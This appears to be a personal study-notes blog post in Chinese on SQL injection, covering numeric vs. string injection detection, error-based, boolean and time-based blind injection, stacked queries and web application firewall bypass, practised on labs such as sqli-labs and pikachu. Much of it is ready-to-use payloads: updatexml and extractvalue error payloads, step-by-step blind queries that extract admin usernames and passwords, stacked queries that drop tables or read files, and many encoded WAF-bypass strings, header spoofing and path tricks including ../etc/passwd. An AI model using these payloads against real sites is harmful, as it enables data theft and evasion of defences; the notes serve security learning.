d=1 and 1=1和?id=1 and 1=2
SQL注入时?id=1 and 1=1和?id=1 and 1=2的功能
-
*?id=1 and 1=1* *:*
-
*?id=1 and 1=2 **:*
-
*?id=1' **:*
结论: 若在GET请求中?id=1 and 1=1和?id=1 and 1=2都没有报错,则是字符型注入。
若在GET请求中?id=1 and 1=1没有报错,但是?id=1 and 1=2有异常或没回显,则是数字型注入。
证明: 1、 若注入 ?id=1 and 1=2 ,则数据库中查询语句为:
select * from user where id='1 and 1=2';
因为id为int类型,所以传入的 ‘1 and 1=2’ 会强制转换成 ‘1’ ,=>最终数据库中的查询语句为:
select * from user where id='1';
所以sql语句不会报错,所以是字符型注入,这样就可以利用这一点来进行注入时的闭合操作。
2、
若是数字型注入,注入 ?id=1 and 1=2 时的SQL语句为:
select * from users where id=1 and 1=2
因为 select * from users where id=1 是正确的语句 ,and 后面的 1=2 是错误的语句,所以select * from users where id=1 and 1=2 会有异常或着网页没有回显(当一个错误的语句和一个正确的语句用and连接符连接时,整体就会是错误的 )。
小p面板cmd进入mysql
D:\phpstudy_pro\Extensions\MySQL5.7.26\bin>mysql -uroot -proot
是否存在SQL注入的简单判断
单引号判断 $id参数左右有数字型(无)、单引号、双引号、括号等方式组成闭合;
最为经典的单引号判断法: 在参数后面加上单引号,比如:
如果页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
通常 Sql 注入漏洞分为 2 种类型:
数字型
字符型
数字型判断: 当输入的参 x 为整型时,通常 123.php 中 Sql 语句类型大致如下: select * from <表名> where id = x 这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:
Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
原因如下: 当输入 and 1=1时,后台执行 Sql 语句:
select * from <表名> where id = x and 1=1
没有语法错误且逻辑判断为正确,所以返回正常。
当输入 and 1=2时,后台执行 Sql 语句:
select * from <表名> where id = x and 1=2
没有语法错误但是逻辑判断为假,所以返回错误。 我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:
select * from <表名> where id = 'x and 1=1' select * from <表名> where id = 'x and 1=2'
查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。
字符型判断: 当输入的参 x 为字符型时,通常 123.php 中 SQL 语句类型大致如下: select * from <表名> where id = 'x' 这种类型我们同样可以使用 and '1'='1 和 and '1'='2来判断:
Url 地址中输入 http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。同理
sqlmap使用
(69条消息) sqlmap学习(sqli-labs为示例)quan9i的博客-CSDN博客sqli sqlmap
ascii编码表
1.SQL盲注
1.前言
注入攻击的本质: 把用户输入的数据当做代码执行。 两个关键条件: 第一个是用户能够控制输入 第二个是原本程序要执行的代码,拼接了用户输入的数据然后进行执行 盲注所对应的是显错注入, 但很多时候,Web服务器关闭了错误回显,这时候我们该怎样实行SQL注入了呢, union select 联合查询注入 updatexml 报错注入
2.SQL注入
所谓注入,就是指非预期的字符输入到语言中,被各种语言进行了误读,造成了错误。用户可以操纵输入字符串获取原本无法获取的权限。
所谓sql注入,就是指非预期字符插入到sql语言中,造成了数据的泄露甚至系统权限的丧失。
3.什么是盲注
从是否回显错误消息角度,SQL注入分为显错注入和盲注。
如果存在显错注入,我们可以构造select语句,将需要的信息显示在合适的位置。大致的流程是order by确认字段数,union select确认回显位置。
与之类似的还有报错注入。以我目前的理解,报错注入应该可以归入显错注入。只不过它利用了xpath等函数,将我们数据库的报错信息输出出来。
如果是盲注,我们则需要构造逻辑表达式,通过让页面的正确显示还是不正确显示,或者功能的正常与否,来区分我们的语句是否正确。
盲注主要的原理如下:
“盲注,意味着页面不会显示SQL语句的错误,我们要通过一定的手段来判断构造的注入语句是否正确执行。有两种方式:布尔型和时间型。布尔型是根据页面是否正确显示来判断我们构造的语句是否正确执行,时间型则是根据页面加载时间是否变化来判断的。
-
insert 插入数据 在网站应用中进行用户注册添加等操作 例:insert into news(id,url,text) values(2,'x','$t')
-
delete 删除数据 后台管理里面删除文章删除用户等操作 例:delete from news where id=$id
-
update 更新数据 会员或后台中心数据同步或缓存等操作 例:update user set pwd='$p' where id=2 and username='admin'
-
order by 排序数据 一般结合表名或列名进行数据排序操作 例:select * from news order by $id 例:select id,name,price from news order by $order
-
重点理解: 我们可以通过以上查询方式与网站应用的关系 注入点产生地方或应用猜测到对方的 SQL 查询方式 SQL 注入报错盲注 盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断 或者尝试,这个过程称之为盲注。
-
我们可以知道盲注分为以下三类:
-
基于布尔的 SQL 盲注-逻辑判断 regexp,like,ascii,left,ord,mid
-
基于时间的 SQL 盲注-延时判断 if,sleep
-
基于报错的 SQL 盲注-报错回显 floor,updatexml,extractvalue https://www.jianshu.com/p/bc35f8dd4f7c
-
参考:
-
like 'ro%' #判断 ro 或 ro...是否成立
regexp '^xiaodi[a-z]' #匹配 xiaodi 及 xiaodi...等
if(条件,5,0) #条件成立 返回 5 反之 返回 0
sleep(5) #SQL 语句延时执行 5 秒
mid(a,b,c) #从位置 b 开始,截取 a 字符串的 c 位
substr(a,b,c) #从 b 位置开始,截取字符串 a 的 c 长度 left(database(),1),database() #left(a,b)从左侧截取 a 的前 b 位
length(database())=8 #判断数据库 database()名的长度 ord=ascii ascii(x)=97 #判断 x 的 ascii 码是否等于 97
length(str):返回str字符串的长度。如执行select length(database())则会返回当前数据库名称的长度。而单独select database()则回返回当前数据库的名称。 substr(str, pos, len):从pos位置取出str字符串的len个字符。如 select substring('abcde', 4, 2)则返回de,pos为负则倒数pos个位置,如select substring('abcde', -4, 2);返回bc。 ASCII(str):返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL。如select ASCII('a')返回97。 将上面几个函数组合一下就有布尔值出现。如Select ascii(substr(database(),2,1)) = 101;当database()即当前数据库的名称中,正数第二个字符为e,则会返回1,当为其他字符时会返回0。逐级替换2为其他数字,就可以逐字猜数据库名称了。其中的=号还可以换成<或者>。 if ((exp1, exp2, exp3):为条件判断语句。当exp1的值为true时候,返回exp2,否则返回exp3。如 select if ((select database())='secur',sleep(10),null)即为判断当当前数据库的名字为secur的时候,MySQL会休眠10秒。
-
各种查询方式注入测试(报错盲注)
sqlilabs-less5 注入测试(布尔盲注)
sqlilabs-less2 注入测试(延时盲注)
sqlilabs-less46 注入测试(排序盲注)
Payload:
pikachu insert
username=x' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e)))
from information_schema.tableslimit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
or '
&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=sub
mit
username=x' or updatexml(1,concat(0x7e,(version())),0) or
'&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=su
bmit
username=x' or extractvalue(1,concat(0x7e,database())) or
'&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=su
bmit
pikachu update
sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or (select 1 from(select
count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets
group by x)a) or '&email=wuhan&submit=submi
ascii编码
A65 a97 1 49
limit 0,1 取第一行的数据
limit 1,1 从1开始返回数量为1的语句
(69条消息) updatexml函数-报错注入原理学习身高两米不到的博客-CSDN博客updatexml报错注入
updatexml函数
updatexml(xml_doument,XPath_string,new_value) 第一个参数:XML的内容 第二个参数:是需要update的位置XPATH路径 第三个参数:是更新后的内容 所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式 函数利用和语法明白了,下面注入的payload就清楚明白
而我们的注入语句为:
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出
ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'
SQL时间盲注
1、sleep语句
select * from member where id=1 and sleep(5);
2、if语句
select if(database()='pikachu',123,456);
3、if+sleep语句
select * from member where id=1 and sleep(if(database()='pikachu',5,0));
4、if+mid+sleep
判断数据库名称是不是以p开头如果是的话就延迟五秒输出。
select * from users where id=1 and sleep(if(mid(database(),1,1)='p',5,0));
SQL布尔盲注
布尔(Boolean)型是计算机里的一种数据类型,只有True(真)和False(假)两个值。一般也称为逻辑型。 页面在执行sql语句后,只显示两种结果,这时可通过构造逻辑表达式的sql语句来判断数据的具体内容。
mid(str,start,length) :字符串截取
ORD() :转换成ascii码
Length() :统计长度
version() :查看数据库版本
布尔注入流程: 猜解获取数据库长度
'or length(database()) > 8 --+ :符合条件返回正确,反之返回错误
1
猜解数据库名
'or mid(database(),1,1)= 'z' --+ :因为需要验证的字符太多,所以转化为ascii码验证
'or ORD(mid(database(),1,1)) > 100 --+ :通过确定ascii码,从而确定数据库名
12
猜解表的总数
'or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2 --+ :判断表的总数
1
猜解第一个表名的长度
'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1) = 5 --+
'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1) = 5 --+ (第二个表)
12
猜解第一个表名
'or mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1 ),1,1) = 'a' --+
或者
'Or ORD(mid(select TABLE_NAME from information_schema.TABLES where
TABLE_SCHEMA = database() limit 0,1),1,1)) >100 --+
1234
猜解表的字段的总数
'or (select count(column_name) from information_schema.COLUMNS where TABLE_NAME='表名') > 5 --+
1
猜解第一个字段的长度
'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 0,1) = 10 --+
'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 10 --+ (第二个字段)
12
猜解第一个字段名
'or mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1) = 'i' --+
或者
'or ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1)) > 100 --+
123
猜解直接猜测字段名
' or (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 'username' --+
1
猜解内容长度
假如已经知道字段名为 id username password
'or (select Length(concat(username,"---",password)) from admin limit 0,1) = 16 --+
12
猜解内容
'or mid((select concat(username,"-----",password) from admin limit 0,1),1,1) = 'a' --+
或者
'or ORD(mid((select concat(username,"-----",password) from admin limit 0,1),1,1)) > 100 --+ ASCII码猜解
123
也可以直接猜测内容
'or (Select concat(username,"-----",password) from admin limit 0,1 ) = 'admin-----123456' --+
1
'or (Select concat(username,"-----",password) from admin limit 0,1 ) = 'admin-----123456' --+
1
2.SQL注入-堆叠查询注入
2.1 定义
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实
的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加;表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stackedinjection。
2.2 原理
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。局限性
2.3 局限性
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
2.4 mysql堆叠查询
(1)新建一表
select * from users where id=1;create table test like users;
(2)删除上面新建的test表
select * from users where id=1;drop table test;
(3)查询数据
select * from users where id=1;select 1,2,3;
(4)加载文件
select * from users where id=1;select load_file('c:/tmpupbbn.php');
(5) 修改数据
select * from users where id=1;insert into users(id,username,password) values ('100','new','new');
3.waf绕过
SQL注入之WAF手工绕过 - 流失流逝 - 博客园 (cnblogs.com)
18 WEB漏洞-堆叠及WAF绕过注入 (yuque.com)
3.1 waf绕过
Web应用防护系统(Web Application Firewall, 简称:WAF)代表了一类新兴的信息安全技术,用以解决诸如防火墙一类传统设备束手无策的Web应用安全问题。 首先,WAF分为非嵌入型WAF和嵌入型WAF,非嵌入型WAF指的是硬件型WAF、云WAF、软件型WAF之类的;而嵌入型WAF指的是网站内置的WAF。非嵌入型WAF对Web流量的解析完全是靠自身的,而嵌入型WAF拿到的Web数据是已经被解析加工好的。所以非嵌入型的受攻击机面还涉及到其他层面,而嵌入型WAF从Web容器模块型WAF、代码层WAF往下走,其对抗畸形报文、扫操作绕过的能力越来越强。当然,在部署维护成本方面,也是越高的。
3.2 工具简介
现在网站为了加强自身安全,通常都会安装各类防火墙。这些防火墙往往会拦截各种扫描 请求,使得测试人员无法正确判断网站相关信息。Kali Linux 提供了一款网站防火墙探测工具 Wafw00f。它可以通过发送正常和带恶意代码的 HTTP 请求,以探测网站是否存在防火墙,并识别防火墙的类型。
WAFW00F 怎么工作
发送正常的 HTTP 请求,然后分析响应,这可以识别出很多 WAF。 如果不成功,它会发送一些(可能是恶意的)HTTP 请求,使用简单的逻辑推断是哪一 个 WAF。 如果这也不成功,它会分析之前返回的响应,使用其它简单的算法猜测是否有某个 WAF 或者安全解决方案响应了我们的攻击
命令:
wafw00f 域名/IP
3.3 部分bypass sqlinject payload
union%23a%0aselect 1,2,3#
union#a
select 1,2,3
注释和换行实现绕过
id=1union/*%00*/%23a%0A/*!/*!select1,2,3*/;%23
id=-1union/*%00*/%23a%0A/*!/*!select%201,database%23x%0A(),3*/;%23
id=-1%20union%20/*!44509select*/%201,2,3%23
id=-1%20union%20/*!44509select*/%201,%23x%0A/*!database*/(),3%23
id=1/**&id=-1%20union%20select%201,2,3%23*/
id=-1%20union%20all%23%0a%20select%201,2,3%23
id=-1%20union%20all%23%0a%20select%201,%230%0Adatabase/**/(),3%23
3.4 waf绕过-数据库的特性
/*!select * from users*/;
/* */ 在mysql中是多行注释 但是如果里面加了! 那么后面的内容会被执行
id=1 union/*%00*/%23a%0A/*!/*!select 1,2,3*/;%23
id=1 union/**/#a
/*!/*!select 1,2,3*/;#
id=-1 union/*%00*/%23a%0A/*!/*!select%201,database%23x%0A(),3*/;%23
id=-1 union/**/#a
/*!/*!select 1,database#x
(),3*/;#
特殊数字+内联注释
在1-55000之间找特殊数字,这个数字表示数据库版本。比如50726代表数据库是>=5.7.26版本该语句才会被执行
id=-1%20union%20/*!44509select*/%201,2,3%23
id=-1 union /*!44509select*/ 1,2,3#
id=-1%20union%20/*!44509select*/%201,%23x%0A/*!database*/(),3%23
id=-1 union /*!44509select*/ 1,#x
/*!database*/(),3#
3.6 waf绕过-应用层
3.6.1 waf大小写/关键字替换
id=1UnIoN/**/SeLeCT1,user()
Hex() bin() 等价于 ascii()
Sleep() 等价于 benchmark()
Mid() substring() 等价于substr()
@@user 等价于 User()
@@Version 等价于 version()
空格被注释掉了,所以要把被注释掉的空格给替换了,一般空格被过滤了有这些替换:/**/,(),回车(url编码中的%0a),`(tab键上面的键),两个空格
各种编码
大小写,URL,hex,%0A等
注释使用
//----+#//+:%00/!/等
再次循环
union==uunionnion
等价替换
user()=@@user()and=&or=|ascii=hex等
参数污染
?id=1&id=2&id=3
编码解码及加密解密
s->%73->%25%37%33
hex,unlcode,base64等
更改请求提交方式
GET POST COOKIE等
POST->multipart/form-data
ctf.show WEB模块第8关是一个SQL 注入漏洞, 注入点是数值型, 注入类型推荐使用布尔盲注,此关卡过滤了空格,逗号,and,union等关键字,
-
过滤空格, 可以使用括号() 或者注释/**/ 绕过
-
过滤and, 可以使用or替代
-
过滤union, 可以用盲注替代联合注入
-
过滤逗号, 可以使用特殊语法绕过, 比如:substr(database(),1,1) 可以用substr(database() from 1 for 1)来代替
3.6.2 中间件HPP(HTTP参数污染)
HPP是HTTP Parameter Pollution的缩写,意为HTTP参数污染。
原理:浏览器在跟服务器进行交互的过程中,浏览器往往会在GET/POST请求里面带上参数,这些参数会以 名称-值 对的形势出现,通常在一个请求中,同样名称的参数只会出现一次。但是在HTTP协议中是允许同样名称的参数出现多次的。比如下面这个链接:http://www.baidu.com?name=aa&name=bb ,针对同样名称的参数出现多次的情况,不同的服务器的处理方式会不一样。有的服务器是取第一个参数,也就是name=aa。有的服务器是取第二个参数,也就是name=bb。有的服务器两个参数都取,也就是name=aa,bb 。这种特性在绕过一些服务器端的逻辑判断时,非常有用。 HPP漏洞,与Web服务器环境、服务端使用的脚本有关。如下是不同Web服务器对于出现多个参数时的选择: 通过HPP接管账户 当网站开发者不熟悉Web服务器对于多参数时如何选择,将给攻击者可乘之机。HPP能针对客户端和服务端进行攻击。 HPP参数污染还可以用于绕过某些防火墙对于 SQL注入的检测,例如当Web服务器对多参数都同时选择时,我们可以用以下这种方式绕过某些防火墙:
http://www.baidu.com/index.asp?page=select 1,2,3 from table where id=1
http://www.baidu.com/index.asp?page=select 1&page=2,3 from table where id=1
参数污染
Web服务器 | 参数获取函数 | 获取到的参数 |
---|---|---|
PHP/Apache | $_GET(“par”) | Last |
JSP/Tomcat | Request.getParameter(“par”) | First |
Perl(CGI)/Apache | Param(“par”) | First |
Python/Apache | getvalue(“par”) | All (List) |
ASP/IIS | Request.QueryString(“par”) | All (comma-delimited string) |
id=1/**&id=-1%20union%20select%201,2,3%23*/
id=1/**&id=-1 union select 1,2,3#*/
安全狗检测到的:1/**&id=-1 union select 1,2,3#*/,以为/***/里面是注释不执行
Apache检测到的:-1 union select 1,2,3#*/ 以后一个id值为准
id=-1 %20union%20all%23%0a%20select%201,2,3%23
id=-1 union all#
select 1,2,3#
id=-1 %20union%20all%23%0a%20select%201,%230%0Adatabase/**/(),3%23
id=-1 union all#
select 1,#0
database/**/(),3#
3.7 waf绕过-逻辑层
3.7.1 逻辑问题
(1)云waf防护,一般我们会尝试通过查找站点的真实IP,从而绕过CDN防护。
(2)当提交GET、POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可尝试Bypass。
(3)HTTP和HTTPS同时开放服务,没有做HTTP到HTTPS的强制跳转,导致HTTPS有WAF防护,HTTP没有防护,直接访问HTTP站点绕过防护。
(4)特殊符号%00,部分waf遇到%00截断,只能获取到前面的参数,无法获取到后面的有害参数输入,从而导致Bypass。
比如:id=1%00and 1=2 union select 1,2,column_name from information_schema.columns
3.7.2 白名单
方式一:IP白名单
从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造IP绕过的情况。
测试方法:修改http的header来bypass waf
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip
方式二:静态资源
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求。
http://10.9.9.201/sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
备注:Aspx/php只识别到前面的.aspx/.php 后面基本不识别
方式三:url白名单
为了防止误拦,部分waf内置默认的白名单列表,如
admin/manager/system等管理后台。
只要url中存在白名单的字符串,就作为白名单不进行检测。
常见的url构造姿势:
http://10.9.9.201/sql.php/admin.php?id=1
http://10.9.9.201/sql.php?a=/manage/&b=../etc/passwd
http://10.9.9.201/../../../manage/../sql.asp?id=2
waf通过/manage/“进行比较,只要uri中存在/manage/就作为白名单不进行检测,这样我们可以通过/sql.php?a=/manage/&b=../etc/passwd 绕过防御规则。
方式四:爬虫白名单
部分waf有提供爬虫白名单的功能,识别爬虫的技术一般有两种:
1、 根据UserAgent 2、通过行为来判断
UserAgent可以很容易欺骗,我们可以伪装成爬虫尝试绕过。
User Agent Switcher (Firefox 附加组件),下载地址:
https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/
标签:语句,database,笔记,sql,where,id,select,注入 From: https://www.cnblogs.com/limestone/p/16895615.html